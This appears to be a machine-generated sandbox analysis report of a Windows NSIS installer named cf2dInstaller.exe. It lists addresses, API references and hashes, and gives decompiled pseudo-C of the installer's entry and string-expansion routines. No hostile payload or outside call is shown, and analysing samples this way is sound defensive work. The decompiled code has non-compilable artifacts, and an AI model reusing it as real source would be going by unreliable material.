0x000c34a3
0x000c34a3
0x000c34a5
0x000c34a5
0x000c34aa
0x000c34ac
0x000c34b3
0x000c3447
0x000c3447
0x000c344a
0x00000000
0x000c344c
0x000c344c
0x000c344d
0x000c3450
0x000c3452
0x000c3455
0x000c3458
0x000c345a
0x000c345c
0x000c345f
0x000c3461
0x000c3466
0x000c346b
0x000c346e
0x000c346e
0x000c3472
0x000c3477
0x000c347a
0x000c347f
0x000c3486
0x000c348a
0x000c348d
0x000c3494
0x000c3494
0x000c344a
0x000c342a
0x000c342a
0x000c342d
0x000c342e
0x000c3435
0x000c3437
0x000c343e
0x000c343e
0x000c3428
0x000c3381
0x000c3381
0x000c3388
0x000c338a
0x000c33af
0x000c33b1
0x000c33f7
0x000c33fc
0x000c33b3
0x000c33b3
0x000c33b7
0x000c33bd
0x000c33b9
0x000c33b9
0x000c33b9
0x000c33bf
0x000c33c1
0x000c33c2
0x000c33c7
0x000c33c7
0x000c33c9
0x000c33d1
0x000c33d6
0x000c33d9
0x000c33dd
0x000c33e1
0x000c33f3
0x00000000
0x000c33e3
0x000c33e5
0x000c33ee
0x000c33ee
0x000c33e1
0x000c338c
0x000c338c
0x000c3390
0x000c3393
0x000c33a3
0x000c33a6
0x000c33ac
0x000c3395
0x000c3398
0x000c33a0
0x000c33a0
0x000c3393
0x000c338a
0x000c32cd
0x000c32cd
0x000c32d0
0x000c32d2
0x000c32ee
0x000c32f0
0x00000000
0x000c32f2
0x000c32f2
0x000c32f5
0x000c32f8
0x000c3309
0x000c330c
0x000c3311
0x000c32fa
0x000c32fd
0x000c3305
0x000c3305
0x000c32f8
0x000c32d4
0x000c32d4
0x000c32d5
0x000c32d8
0x000c32dd
0x000c32e0
0x000c32e2
0x000c3348
0x00000000
0x000c32e4
0x000c32e4
0x000c32e4
0x000c32e8
0x000c3314
0x000c32ea
0x000c32ea
0x000c32ea
0x000c3316
0x000c3318
0x000c331e
0x000c3322
0x000c3327
0x000c332a
0x000c332e
0x000c3331
0x000c3344
0x00000000
0x000c3333
0x000c3335
0x000c333f
0x000c333f
0x000c3331
0x000c32e2
0x000c32d2
0x000c32c7
0x000c32ba
0x000c324e
0x000c324e
0x000c3251
0x000c3254
0x000c325a
0x000c3256
0x000c3256
0x000c3256
0x000c325c
0x000c325e
0x00000000
0x000c3260
0x000c3260
0x000c3263
0x000c3269
0x000c3265
0x000c3265
0x000c3265
0x000c326e
0x000c3270
0x000c3272
0x00000000
0x000c3274
0x000c3274
0x000c3277
0x000c328f
0x000c3292
0x000c3294
0x000c3294
0x000c3296
0x000c3297
0x000c329a
0x000c32a2
0x000c3279
0x000c3279
0x000c327b
0x000c327e
0x000c327e
0x000c3280
0x000c3281
0x000c3284
0x000c328c
0x000c328c
0x000c3277
0x000c3272
0x000c325e
0x000c3187
0x000c3187
0x000c318a
0x000c318c
0x000c31b0
0x000c31b2
0x00000000
0x000c31b4
0x000c31b4
0x000c31b7
0x000c31ba
0x000c31cb
0x000c31ce
0x000c31d3
0x000c31bc
0x000c31bf
0x000c31c7
0x000c31c7
0x000c31ba
0x000c318e
0x000c318e
0x000c318f
0x000c3192
0x000c3197
0x000c319a
0x000c319c
0x000c320f
0x00000000
0x000c319e
0x000c319e
0x000c319e
0x000c31a2
0x000c31a4
0x000c31a4
0x000c31a6
0x000c31aa
0x000c31d6
0x000c31ac
0x000c31ac
0x000c31ac
0x000c31d8
0x000c31da
0x000c31e6
0x000c31e9
0x000c31ee
0x000c31f1
0x000c31f5
0x000c31f8
0x000c320b
0x00000000
0x000c31fa
0x000c31fc
0x000c3206
0x000c3206
0x000c31f8
0x000c319c
0x000c318c
0x000c3181
0x000c3174
0x000c316c
0x000c30ae
0x000c30ae
0x000c30b1
0x000c30b3
0x000c30ce
0x000c30d0
0x00000000
0x000c30d2
0x000c30d2
0x000c30d5
0x000c30d8
0x000c30e9
0x000c30ec
0x000c30f1
0x000c30da
0x000c30dd
0x000c30e5
0x000c30e5
0x000c30d8
0x000c30b5
0x000c30b5
0x000c30ba
0x000c30bb
0x000c30c0
0x000c30c2
0x000c3123
0x000c3129
0x000c30c4
0x000c30c4
0x000c30c4
0x000c30c8
0x000c30f4
0x000c30ca
0x000c30ca
0x000c30ca
0x000c30f6
0x000c30f8
0x000c30fd
0x000c3102
0x000c3105
0x000c3109
0x000c310c
0x000c311f
0x00000000
0x000c310e
0x000c3110
0x000c311a
0x000c311a
0x000c310c
0x000c30c2
0x000c30b3
0x000c304e
0x000c304e
0x000c3051
0x000c3054
0x000c305a
0x000c3056
0x000c3056
0x000c3056
0x000c305c
0x000c305e
0x00000000
0x000c3060
0x000c3060
0x000c3063
0x000c3069
0x000c3065
0x000c3065
0x000c3065
0x000c3070
0x000c3072
0x00000000
0x000c3074
0x000c3074
0x000c3077
0x000c308f
0x000c3094
0x000c30a2
0x000c3079
0x000c307b
0x000c307e
0x000c308c
0x000c308c
0x000c3077
0x000c3072
0x000c305e
0x000c2f42
0x000c2f46
0x000c2f49
0x000c2f64
0x000c2f67
0x000c2f6b
0x000c2f6f
0x000c2f7a
0x000c2f4b
0x000c2f4d
0x000c2f4e
0x000c2f52
0x000c2f56
0x000c2f61
0x000c2f61
0x000c2f49
0x000c2f3c
0x000c2f34

APIs

_memmove.LIBCMT ref: 000C2FE3

Strings

invalid string position, xrefs: 000C3012, 000C301C
string too long, xrefs: 000C3026

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: f60cbda80a8e7eaa79278b1144ba76ef9075e267ccdbbb6357ac18c72bec6f18
Instruction ID: 588f3d884551bba7e31467cffa4be188913607cf752b1e280433d59962b954c7
Opcode Fuzzy Hash: f60cbda80a8e7eaa79278b1144ba76ef9075e267ccdbbb6357ac18c72bec6f18
Instruction Fuzzy Hash: CF41EF323143049BD7249F5CE880FAEF7EAEB91710F20493FE5458B692C7B2998187A1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: cf2dInstaller.exe PID: 4408 Parent PID: 2176 cf2dInstaller.exeCOMMON

Execution Graph

Execution Coverage:	19.9%
Dynamic/Decrypted Code Coverage:	10.1%
Signature Coverage:	12%
Total number of Nodes:	1907
Total number of Limit Nodes:	57

Executed Functions

Function 004030FA, Relevance: 70.3, APIs: 23, Strings: 17, Instructions: 270
filestringcomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			_entry_() {
				struct _SHFILEINFOA _v360;
				struct _SECURITY_ATTRIBUTES* _v376;
				char _v380;
				CHAR* _v384;
				char _v396;
				int _v400;
				int _v404;
				CHAR* _v408;
				intOrPtr _v412;
				int _v416;
				intOrPtr _v420;
				struct _SECURITY_ATTRIBUTES* _v424;
				void* _v432;
				int _t34;
				CHAR* _t39;
				char* _t42;
				signed int _t44;
				void* _t48;
				intOrPtr _t50;
				signed int _t52;
				signed int _t55;
				int _t56;
				signed int _t60;
				intOrPtr _t71;
				intOrPtr _t77;
				void* _t79;
				void* _t89;
				void* _t91;
				char* _t96;
				signed int _t97;
				void* _t98;
				signed int _t99;
				signed int _t100;
				signed int _t103;
				CHAR* _t105;
				signed int _t106;
				intOrPtr _t113;
				char _t120;

				_v376 = 0;
				_v384 = "Error writing temporary file. Make sure your temp folder is valid.";
				_t99 = 0;
				_v380 = 0x20;
				__imp__#17();
				_t34 = SetErrorMode(0x8001); // executed
				__imp__OleInitialize(0); // executed
				 *0x42ec18 = _t34;
				 *0x42eb64 = E00405D2E(8);
				SHGetFileInfoA(0x428f98, 0,  &_v360, 0x160, 0); // executed
				E00405A0C(0x42e360, "NSIS Error");
				_t39 = GetCommandLineA();
				_t96 = "\"C:\\Users\\alfons\\AppData\\Local\\temp\\cf2dInstaller.exe\" /KEYWORD=cf2d \"/PATHFILES=C:\\Users\\alfons\\AppData\\Local\\temp\\\"";
				E00405A0C(_t96, _t39);
				 *0x42eb60 = GetModuleHandleA(0);
				_t42 = _t96;
				if("\"C:\\Users\\alfons\\AppData\\Local\\temp\\cf2dInstaller.exe\" /KEYWORD=cf2d \"/PATHFILES=C:\\Users\\alfons\\AppData\\Local\\temp\\\"" == 0x22) {
					_v404 = 0x22;
					_t42 =  &M00434001;
				}
				_t44 = CharNextA(E0040552A(_t42, _v404));
				_v404 = _t44;
				while(1) {
					_t91 =  *_t44;
					_t109 = _t91;
					if(_t91 == 0) {
						break;
					}
					__eflags = _t91 - 0x20;
					if(_t91 != 0x20) {
						L5:
						__eflags =  *_t44 - 0x22;
						_v404 = 0x20;
						if( *_t44 == 0x22) {
							_t44 = _t44 + 1;
							__eflags = _t44;
							_v404 = 0x22;
						}
						__eflags =  *_t44 - 0x2f;
						if( *_t44 != 0x2f) {
							L15:
							_t44 = E0040552A(_t44, _v404);
							__eflags =  *_t44 - 0x22;
							if(__eflags == 0) {
								_t44 = _t44 + 1;
								__eflags = _t44;
							}
							continue;
						} else {
							_t44 = _t44 + 1;
							__eflags =  *_t44 - 0x53;
							if( *_t44 == 0x53) {
								__eflags = ( *(_t44 + 1) | 0x00000020) - 0x20;
								if(( *(_t44 + 1) | 0x00000020) == 0x20) {
									_t99 = _t99 | 0x00000002;
									__eflags = _t99;
								}
							}
							__eflags =  *_t44 - 0x4352434e;
							if( *_t44 == 0x4352434e) {
								__eflags = ( *(_t44 + 4) | 0x00000020) - 0x20;
								if(( *(_t44 + 4) | 0x00000020) == 0x20) {
									_t99 = _t99 | 0x00000004;
									__eflags = _t99;
								}
							}
							__eflags =  *((intOrPtr*)(_t44 - 2)) - 0x3d442f20;
							if( *((intOrPtr*)(_t44 - 2)) == 0x3d442f20) {
								 *((intOrPtr*)(_t44 - 2)) = 0;
								_t45 = _t44 + 2;
								__eflags = _t44 + 2;
								E00405A0C("C:\\Users\\alfons\\AppData\\Local\\", _t45);
								L20:
								_t105 = "C:\\Users\\alfons\\AppData\\Local\\Temp\\";
								GetTempPathA(0x400, _t105); // executed
								_t48 = E004030C6(_t109);
								_t110 = _t48;
								if(_t48 != 0) {
									L22:
									DeleteFileA("1033"); // executed
									_t50 = E00402C22(_t111, _t99); // executed
									_v412 = _t50;
									if(_t50 != 0) {
										L32:
										E0040347B();
										__imp__OleUninitialize();
										if(_v408 == 0) {
											__eflags =  *0x42ebf4; // 0x0
											if(__eflags != 0) {
												_t106 = E00405D2E(3);
												_t100 = E00405D2E(4);
												_t55 = E00405D2E(5);
												__eflags = _t106;
												_t97 = _t55;
												if(_t106 != 0) {
													__eflags = _t100;
													if(_t100 != 0) {
														__eflags = _t97;
														if(_t97 != 0) {
															_t60 =  *_t106(GetCurrentProcess(), 0x28,  &_v396);
															__eflags = _t60;
															if(_t60 != 0) {
																 *_t100(0, "SeShutdownPrivilege",  &_v400);
																_v416 = 1;
																_v404 = 2;
																 *_t97(_v420, 0,  &_v416, 0, 0, 0);
															}
														}
													}
												}
												_t56 = ExitWindowsEx(2, 0);
												__eflags = _t56;
												if(_t56 == 0) {
													E0040140B(9);
												}
											}
											_t52 =  *0x42ec0c; // 0xffffffff
											__eflags = _t52 - 0xffffffff;
											if(_t52 != 0xffffffff) {
												_v400 = _t52;
											}
											ExitProcess(_v400);
										}
										E004052CD(_v408, 0x200010);
										ExitProcess(2);
									}
									_t113 =  *0x42eb7c; // 0x0
									if(_t113 == 0) {
										L31:
										 *0x42ec0c =  *0x42ec0c | 0xffffffff;
										_v400 = E00403555();
										goto L32;
									}
									_t103 = E0040552A(_t96, 0);
									while(_t103 >= _t96) {
										__eflags =  *_t103 - 0x3d3f5f20;
										if(__eflags == 0) {
											break;
										}
										_t103 = _t103 - 1;
										__eflags = _t103;
									}
									_t115 = _t103 - _t96;
									_v408 = "Error launching installer";
									if(_t103 < _t96) {
										lstrcatA(_t105, "~nsu.tmp");
										_t101 = "C:\\Users\\alfons\\AppData\\Local\\temp";
										if(lstrcmpiA(_t105, "C:\\Users\\alfons\\AppData\\Local\\temp") == 0) {
											goto L32;
										}
										CreateDirectoryA(_t105, 0);
										SetCurrentDirectoryA(_t105);
										_t120 = "C:\\Users\\alfons\\AppData\\Local\\"; // 0x43
										if(_t120 == 0) {
											E00405A0C("C:\\Users\\alfons\\AppData\\Local\\", _t101);
										}
										E00405A0C("6898", _v396);
										"platform_version_id=91837\r\n" = 0x41;
										_t98 = 0x1a;
										do {
											_t71 =  *0x42eb70; // 0x24c6020
											E00405A2E(0, _t98, 0x428b98, 0x428b98,  *((intOrPtr*)(_t71 + 0x120)));
											DeleteFileA(0x428b98);
											if(_v416 != 0 && CopyFileA("C:\\Users\\alfons\\AppData\\Local\\temp\\cf2dInstaller.exe", 0x428b98, 1) != 0) {
												_push(0);
												_push(0x428b98);
												E0040575A();
												_t77 =  *0x42eb70; // 0x24c6020
												E00405A2E(0, _t98, 0x428b98, 0x428b98,  *((intOrPtr*)(_t77 + 0x124)));
												_t79 = E0040526C(0x428b98);
												if(_t79 != 0) {
													CloseHandle(_t79);
													_v416 = 0;
												}
											}
											"platform_version_id=91837\r\n" =  &("platform_version_id=91837\r\n"[1]);
											_t98 = _t98 - 1;
										} while (_t98 != 0);
										_push(0);
										_push(_t105);
										E0040575A();
										goto L32;
									}
									 *_t103 = 0;
									_t104 = _t103 + 4;
									if(E004055E0(_t115, _t103 + 4) == 0) {
										goto L32;
									}
									E00405A0C("C:\\Users\\alfons\\AppData\\Local\\", _t104);
									E00405A0C("C:\\Users\\alfons\\AppData\\Local\\Temp", _t104);
									_v424 = 0;
									goto L31;
								}
								GetWindowsDirectoryA(_t105, 0x3fb);
								lstrcatA(_t105, "\\Temp");
								_t89 = E004030C6(_t110);
								_t111 = _t89;
								if(_t89 == 0) {
									goto L32;
								}
								goto L22;
							}
							goto L15;
						}
					} else {
						goto L4;
					}
					do {
						L4:
						_t44 = _t44 + 1;
						__eflags =  *_t44 - 0x20;
					} while ( *_t44 == 0x20);
					goto L5;
				}
				goto L20;
			}

0x00403106
0x0040310a
0x00403112
0x00403114
0x00403119
0x00403124
0x0040312b
0x00403133
0x0040313d
0x00403153
0x00403163
0x00403168
0x0040316e
0x00403175
0x00403188
0x0040318d
0x0040318f
0x00403191
0x00403196
0x00403196
0x004031a6
0x004031ac
0x00403215
0x00403215
0x00403217
0x00403219
0x00000000
0x00000000
0x004031b2
0x004031b5
0x004031bd
0x004031bd
0x004031c0
0x004031c5
0x004031c7
0x004031c7
0x004031c8
0x004031c8
0x004031cd
0x004031d0
0x00403205
0x0040320a
0x0040320f
0x00403212
0x00403214
0x00403214
0x00403214
0x00000000
0x004031d2
0x004031d2
0x004031d3
0x004031d6
0x004031de
0x004031e1
0x004031e3
0x004031e3
0x004031e3
0x004031e1
0x004031e6
0x004031ec
0x004031f4
0x004031f7
0x004031f9
0x004031f9
0x004031f9
0x004031f7
0x004031fc
0x00403203
0x0040321d
0x00403220
0x00403220
0x00403229
0x0040322e
0x0040322e
0x00403239
0x0040323f
0x00403244
0x00403246
0x00403268
0x0040326d
0x00403274
0x0040327b
0x0040327f
0x004032e6
0x004032e6
0x004032eb
0x004032f5
0x004033e0
0x004033e6
0x004033f1
0x004033fa
0x004033fc
0x00403401
0x00403403
0x00403405
0x00403407
0x00403409
0x0040340b
0x0040340d
0x0040341d
0x0040341f
0x00403421
0x0040342e
0x0040343d
0x00403445
0x0040344d
0x0040344d
0x00403421
0x0040340d
0x00403409
0x00403452
0x00403458
0x0040345a
0x0040345e
0x0040345e
0x0040345a
0x00403463
0x00403468
0x0040346b
0x0040346d
0x0040346d
0x00403475
0x00403475
0x00403304
0x0040330b
0x0040330b
0x00403281
0x00403287
0x004032d6
0x004032d6
0x004032e2
0x00000000
0x004032e2
0x00403290
0x0040329d
0x00403294
0x0040329a
0x00000000
0x00000000
0x0040329c
0x0040329c
0x0040329c
0x004032a1
0x004032a3
0x004032ab
0x00403317
0x0040331c
0x0040332b
0x00000000
0x00000000
0x0040332f
0x00403336
0x0040333c
0x00403342
0x0040334a
0x0040334a
0x00403358
0x0040335f
0x00403368
0x0040336e
0x0040336e
0x0040337a
0x00403380
0x0040338a
0x0040339e
0x0040339f
0x004033a0
0x004033a5
0x004033b1
0x004033b7
0x004033be
0x004033c1
0x004033c7
0x004033c7
0x004033be
0x004033cb
0x004033d1
0x004033d1
0x004033d4
0x004033d5
0x004033d6
0x00000000
0x004033d6
0x004032ad
0x004032af
0x004032ba
0x00000000
0x00000000
0x004032c2
0x004032cd
0x004032d2
0x00000000
0x004032d2
0x0040324e
0x0040325a
0x0040325f
0x00403264
0x00403266
0x00000000
0x00000000
0x00000000
0x00403266
0x00000000
0x00403203
0x00000000
0x00000000
0x00000000
0x004031b7
0x004031b7
0x004031b7
0x004031b8
0x004031b8
0x00000000
0x004031b7
0x00000000

APIs

#17.COMCTL32 ref: 00403119
SetErrorMode.KERNEL32(00008001), ref: 00403124
OleInitialize.OLE32(00000000), ref: 0040312B

Part of subcall function 00405D2E: GetModuleHandleA.KERNEL32(?,?,00000000,0040313D,00000008), ref: 00405D40
Part of subcall function 00405D2E: LoadLibraryA.KERNEL32(?,?,00000000,0040313D,00000008), ref: 00405D4B
Part of subcall function 00405D2E: GetProcAddress.KERNEL32(00000000,?,?,00000000,0040313D,00000008), ref: 00405D5C

SHGetFileInfoA.SHELL32(00428F98,00000000,?,00000160,00000000,00000008), ref: 00403153

Part of subcall function 00405A0C: lstrcpynA.KERNEL32(?,?,00000400,00403168,0042E360,NSIS Error), ref: 00405A19

GetCommandLineA.KERNEL32(0042E360,NSIS Error), ref: 00403168
GetModuleHandleA.KERNEL32(00000000,"C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\",00000000), ref: 0040317B
CharNextA.USER32(00000000,"C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\",00000020), ref: 004031A6
GetTempPathA.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020), ref: 00403239
GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 0040324E
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 0040325A
DeleteFileA.KERNEL32(1033), ref: 0040326D
OleUninitialize.OLE32(00000000), ref: 004032EB
ExitProcess.KERNEL32 ref: 0040330B
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\",00000000,00000000), ref: 00403317
lstrcmpiA.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\temp,C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\",00000000,00000000), ref: 00403323
CreateDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,00000000), ref: 0040332F
SetCurrentDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\), ref: 00403336
DeleteFileA.KERNEL32(00428B98,00428B98,?,6898,?), ref: 00403380
CopyFileA.KERNEL32 ref: 00403394
CloseHandle.KERNEL32(00000000,00428B98,00428B98,?,00428B98,00000000), ref: 004033C1
GetCurrentProcess.KERNEL32(00000028,?,00000005,00000004,00000003), ref: 00403416
ExitWindowsEx.USER32 ref: 00403452
ExitProcess.KERNEL32 ref: 00403475

Strings

\Temp, xrefs: 00403254
SeShutdownPrivilege, xrefs: 00403428
~nsu.tmp, xrefs: 00403311
_?=, xrefs: 00403294
C:\Users\user\AppData\Local\, xrefs: 00403224, 004032BD, 0040333C, 00403345
NSIS Error, xrefs: 00403159
6898, xrefs: 00403353
C:\Users\user\AppData\Local\temp\cf2dInstaller.exe, xrefs: 0040338F
C:\Users\user\AppData\Local\Temp\, xrefs: 0040322E, 00403233, 0040324D, 00403259, 00403316, 00403322, 0040332E, 00403335, 004033D5
/D=, xrefs: 004031FC
Error launching installer, xrefs: 004032A3
1033, xrefs: 00403268
C:\Users\user\AppData\Local\temp, xrefs: 0040331C, 00403321, 00403344
NCRC, xrefs: 004031E6
"C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\", xrefs: 0040316E, 00403174, 0040328A
C:\Users\user\AppData\Local\Temp, xrefs: 004032C8
", xrefs: 004031C8

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: File$DirectoryExitHandleProcess$CurrentDeleteModuleWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$"$"C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\"$1033$6898$C:\Users\user\AppData\Local\$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\temp$C:\Users\user\AppData\Local\temp\cf2dInstaller.exe$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp
API String ID: 2278157092-3170192461
Opcode ID: 887d7e41ec913eb4d3a43acf5bc763ee08892f48294b24a27a74905eda1b21f9
Instruction ID: 1e9e478c3a9e7f3573a82b9cae4fcf3dc9ecc54075f91e84b1854e8c20532e3f
Opcode Fuzzy Hash: 887d7e41ec913eb4d3a43acf5bc763ee08892f48294b24a27a74905eda1b21f9
Instruction Fuzzy Hash: 4191D130A08344AFE7216F61AD4AB6B7E9CEB0530AF04057FF541B61D2C77C99058B6E

Uniqueness

Uniqueness Score: -1.00%

Function 00405A2E, Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 197
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 74%

			E00405A2E(void* __ebx, void* __edi, void* __esi, signed int _a4, signed int _a8) {
				signed int _v8;
				struct _ITEMIDLIST* _v12;
				signed int _v16;
				signed char _v20;
				signed int _v24;
				signed char _v28;
				signed int _t36;
				CHAR* _t37;
				signed int _t39;
				int _t40;
				char _t50;
				char _t51;
				char _t53;
				char _t55;
				void* _t63;
				signed int _t69;
				intOrPtr _t73;
				signed int _t74;
				signed int _t75;
				intOrPtr _t79;
				char _t83;
				void* _t85;
				CHAR* _t86;
				void* _t88;
				signed int _t95;
				signed int _t97;
				void* _t98;

				_t88 = __esi;
				_t85 = __edi;
				_t63 = __ebx;
				_t36 = _a8;
				if(_t36 < 0) {
					_t79 =  *0x42e33c; // 0x25612f9
					_t36 =  *(_t79 - 4 + _t36 * 4);
				}
				_t73 =  *0x42eb98; // 0x2559f14
				_t74 = _t73 + _t36;
				_t37 = 0x42db00;
				_push(_t63);
				_push(_t88);
				_push(_t85);
				_t86 = 0x42db00;
				if(_a4 - 0x42db00 < 0x800) {
					_t86 = _a4;
					_a4 = _a4 & 0x00000000;
				}
				while(1) {
					_t83 =  *_t74;
					if(_t83 == 0) {
						break;
					}
					__eflags = _t86 - _t37 - 0x400;
					if(_t86 - _t37 >= 0x400) {
						break;
					}
					_t74 = _t74 + 1;
					__eflags = _t83 - 0xfc;
					_a8 = _t74;
					if(__eflags <= 0) {
						if(__eflags != 0) {
							 *_t86 = _t83;
							_t86 =  &(_t86[1]);
							__eflags = _t86;
						} else {
							 *_t86 =  *_t74;
							_t86 =  &(_t86[1]);
							_t74 = _t74 + 1;
						}
						continue;
					}
					_t39 =  *(_t74 + 1);
					_t75 =  *_t74;
					_t95 = (_t39 & 0x0000007f) << 0x00000007 | _t75 & 0x0000007f;
					_a8 = _a8 + 2;
					_v28 = _t75 | 0x00000080;
					_t69 = _t75;
					_v24 = _t69;
					__eflags = _t83 - 0xfe;
					_v20 = _t39 | 0x00000080;
					_v16 = _t39;
					if(_t83 != 0xfe) {
						__eflags = _t83 - 0xfd;
						if(_t83 != 0xfd) {
							__eflags = _t83 - 0xff;
							if(_t83 == 0xff) {
								__eflags = (_t39 | 0xffffffff) - _t95;
								E00405A2E(_t69, _t86, _t95, _t86, (_t39 | 0xffffffff) - _t95);
							}
							L41:
							_t40 = lstrlenA(_t86);
							_t74 = _a8;
							_t86 =  &(_t86[_t40]);
							_t37 = 0x42db00;
							continue;
						}
						__eflags = _t95 - 0x1d;
						if(_t95 != 0x1d) {
							__eflags = (_t95 << 0xa) + 0x42f000;
							E00405A0C(_t86, (_t95 << 0xa) + 0x42f000);
						} else {
							E0040596A(_t86,  *0x42eb68);
						}
						__eflags = _t95 + 0xffffffeb - 7;
						if(_t95 + 0xffffffeb < 7) {
							L32:
							E00405C6E(_t86);
						}
						goto L41;
					}
					_t97 = 2;
					_t50 = GetVersion();
					__eflags = _t50;
					if(_t50 >= 0) {
						L12:
						_v8 = 1;
						L13:
						__eflags =  *0x42ebe4;
						if( *0x42ebe4 != 0) {
							_t97 = 4;
						}
						__eflags = _t69;
						if(_t69 >= 0) {
							__eflags = _t69 - 0x25;
							if(_t69 != 0x25) {
								__eflags = _t69 - 0x24;
								if(_t69 == 0x24) {
									GetWindowsDirectoryA(_t86, 0x400);
									_t97 = 0;
								}
								while(1) {
									__eflags = _t97;
									if(_t97 == 0) {
										goto L29;
									}
									_t51 =  *0x42eb64; // 0x74261340
									_t97 = _t97 - 1;
									__eflags = _t51;
									if(_t51 == 0) {
										L25:
										_t53 = SHGetSpecialFolderLocation( *0x42eb68,  *(_t98 + _t97 * 4 - 0x18),  &_v12);
										__eflags = _t53;
										if(_t53 != 0) {
											L27:
											 *_t86 =  *_t86 & 0x00000000;
											__eflags =  *_t86;
											continue;
										}
										__imp__SHGetPathFromIDListA(_v12, _t86);
										__imp__CoTaskMemFree(_v12);
										__eflags = _t53;
										if(_t53 != 0) {
											goto L29;
										}
										goto L27;
									}
									__eflags = _v8;
									if(_v8 == 0) {
										goto L25;
									}
									_t55 =  *_t51( *0x42eb68,  *(_t98 + _t97 * 4 - 0x18), 0, 0, _t86); // executed
									__eflags = _t55;
									if(_t55 == 0) {
										goto L29;
									}
									goto L25;
								}
								goto L29;
							}
							GetSystemDirectoryA(_t86, 0x400);
							goto L29;
						} else {
							_t72 = (_t69 & 0x0000003f) +  *0x42eb98;
							E004058F3(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion", (_t69 & 0x0000003f) +  *0x42eb98, _t86, _t69 & 0x00000040);
							__eflags =  *_t86;
							if( *_t86 != 0) {
								L30:
								__eflags = _v16 - 0x1a;
								if(_v16 == 0x1a) {
									lstrcatA(_t86, "\\Microsoft\\Internet Explorer\\Quick Launch");
								}
								goto L32;
							}
							E00405A2E(_t72, _t86, _t97, _t86, _v16);
							L29:
							__eflags =  *_t86;
							if( *_t86 == 0) {
								goto L32;
							}
							goto L30;
						}
					}
					__eflags = _t50 - 0x5a04;
					if(_t50 == 0x5a04) {
						goto L12;
					}
					__eflags = _v16 - 0x23;
					if(_v16 == 0x23) {
						goto L12;
					}
					__eflags = _v16 - 0x2e;
					if(_v16 == 0x2e) {
						goto L12;
					} else {
						_v8 = _v8 & 0x00000000;
						goto L13;
					}
				}
				 *_t86 =  *_t86 & 0x00000000;
				if(_a4 == 0) {
					return _t37;
				}
				return E00405A0C(_a4, _t37);
			}

0x00405a2e
0x00405a2e
0x00405a2e
0x00405a34
0x00405a39
0x00405a3b
0x00405a4a
0x00405a4a
0x00405a4c
0x00405a55
0x00405a57
0x00405a5c
0x00405a5f
0x00405a60
0x00405a67
0x00405a69
0x00405a6f
0x00405a72
0x00405a72
0x00405c4b
0x00405c4b
0x00405c4f
0x00000000
0x00000000
0x00405a7f
0x00405a85
0x00000000
0x00000000
0x00405a8b
0x00405a8c
0x00405a8f
